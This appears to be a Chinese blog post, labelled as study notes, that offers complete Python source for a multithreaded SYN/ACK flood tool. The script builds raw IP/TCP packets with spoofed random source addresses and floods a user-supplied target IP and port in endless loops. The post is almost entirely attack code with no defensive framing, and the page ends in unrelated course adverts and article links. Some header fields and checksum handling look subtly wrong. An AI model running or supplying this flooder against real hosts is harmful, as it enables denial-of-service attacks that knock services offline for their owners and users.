Python实现SYNFlood,学习笔记

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333 是Python2还是3我给忘记了,大家自己试试吧。
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396333

是Python2还是3我给忘记了,大家自己试试吧。

#!/usr/bin/python
#-*-coding:utf-8-*-

import socket
import struct
import random
import threading



class myThread (threading.Thread):
    def __init__(self,dstip,dstport,mode):
        threading.Thread.__init__(self)
        self.dstip = dstip
        self.dstport =dstport
        self.mode =mode
    def run(self):
        attack(self.dstip,self.dstport,self.mode)

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
    s = ~s & 0xffff
    return s


def IP(source,destination,udplen):
    version = 4
    ihl = 5
    tos = 0
    tl = 20+udplen
    ip_id = random.randint(1,65535)
    flags = 0
    offset = 0
    ttl = 128
    protocol =6
    check =0
    source = socket.inet_aton(source)
    destination = socket.inet_aton(destination)

    ver_ihl = (version << 4)+ihl
    flags_offset = (flags << 13)+offset
    ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    check,
                    source,
                    destination)
    check=checksum(ip_header)
    ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    tos,
                    tl,
                    ip_id,
                    flags_offset,
                    ttl,
                    protocol,
                    socket.htons(check),
                    source,
                    destination)
    return ip_header


def TCP(srcip,dstip,protocol,dp,fg):
    source = socket.inet_aton(srcip)
    destination = socket.inet_aton(dstip)
    srcport=random.randint(1,65535)
    dstport=dp
    syn_num=random.randint(1,4000000000)
    if fg == 2:
        ack_num=0
    else:
        ack_num=random.randint(1,4000000000)
    hlen=5
    zero=0
    flag=fg
    window=8192
    check=0
    point=0
    tcplen=hlen
    h_f=(hlen << 12)+flag
    TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point)
    check=checksum(TCP_head)
    TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point)
    return TCP_head

def makepacket(dstip,dstport,fg):
    srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
    protocol=6
    ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)
    return ippacket


def attack(dstip,dstport,mode):
    if mode == 'syn':
        fg=2
        while 1:
            data=makepacket(dstip,dstport,fg)
            s.sendto(data,(dstip,dstport))
    elif mode == 'ack':
        fg=18
        while 1:
            data=makepacket(dstip,dstport,fg)
            s.sendto(data,(dstip,dstport))
    elif mode == 'syn&ack':
        while 1:
            data=makepacket(dstip,dstport,2)
            s.sendto(data,(dstip,dstport))
            data=makepacket(dstip,dstport,18)
            s.sendto(data,(dstip,dstport))
    else:
        print('DON\'T xia say!')

dstip=raw_input('attack IP:')
dstport=int(input('attack PORT:'))
mode=raw_input('mode:(syn or ack or syn&ack)')
threads=int(input("线程数threads:"))

ip_first=[]
for i in range(1,10):
    ip_first.append(i)

for i in range(11,172):
    ip_first.append(i)

for i in range(173,192):
    ip_first.append(i)

for i in range(193,224):
    ip_first.append(i)

s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)


threads_name=[]
for i in range(threads):
    threads_name.append('teread'+str(i))

for i in range(threads):
    threads_name[i]=myThread(dstip,dstport,mode)

for i in range(threads):
    threads_name[i].start()
相关实践学习
容器服务Serverless版ACK Serverless 快速入门:在线魔方应用部署和监控
通过本实验,您将了解到容器服务Serverless版ACK Serverless 的基本产品能力,即可以实现快速部署一个在线魔方应用,并借助阿里云容器服务成熟的产品生态,实现在线应用的企业级监控,提升应用稳定性。
云原生实践公开课
课程大纲 开篇:如何学习并实践云原生技术 基础篇: 5 步上手 Kubernetes 进阶篇:生产环境下的 K8s 实践 相关的阿里云产品:容器服务&nbsp;ACK 容器服务&nbsp;Kubernetes&nbsp;版(简称&nbsp;ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情:&nbsp;https://www.aliyun.com/product/kubernetes
相关文章
|
26天前
|
存储 C语言 Python
【Python】学习笔记day3
【Python】学习笔记day3
27 1
|
4月前
|
SQL 分布式计算 大数据
Python+大数据学习笔记(一)
Python+大数据学习笔记(一)
43 0
|
8天前
|
Python
基于Django的Python应用—学习笔记—功能完善
基于Django的Python应用—学习笔记—功能完善
|
26天前
|
存储 C语言 芯片
【Python】学习笔记day1
【Python】学习笔记day1
33 1
|
1月前
|
算法 搜索推荐 测试技术
python排序算法及优化学习笔记1
python实现的简单的排序算法,以及算法优化,学习笔记1
33 1
|
6月前
|
jenkins 持续交付 开发工具
Python学习笔记_Devops_Day05
Python学习笔记_Devops_Day05
|
6月前
|
持续交付 开发工具 数据安全/隐私保护
Python学习笔记_Devops_Day04
Python学习笔记_Devops_Day04
|
6月前
|
JSON JavaScript 前端开发
Python学习笔记_Devops_Day02
Python学习笔记_Devops_Day02
|
6月前
|
SQL 关系型数据库 数据库
Python学习笔记_Day09
Python学习笔记_Day09
|
6月前
|
Python
Python学习笔记_Day08
Python学习笔记_Day08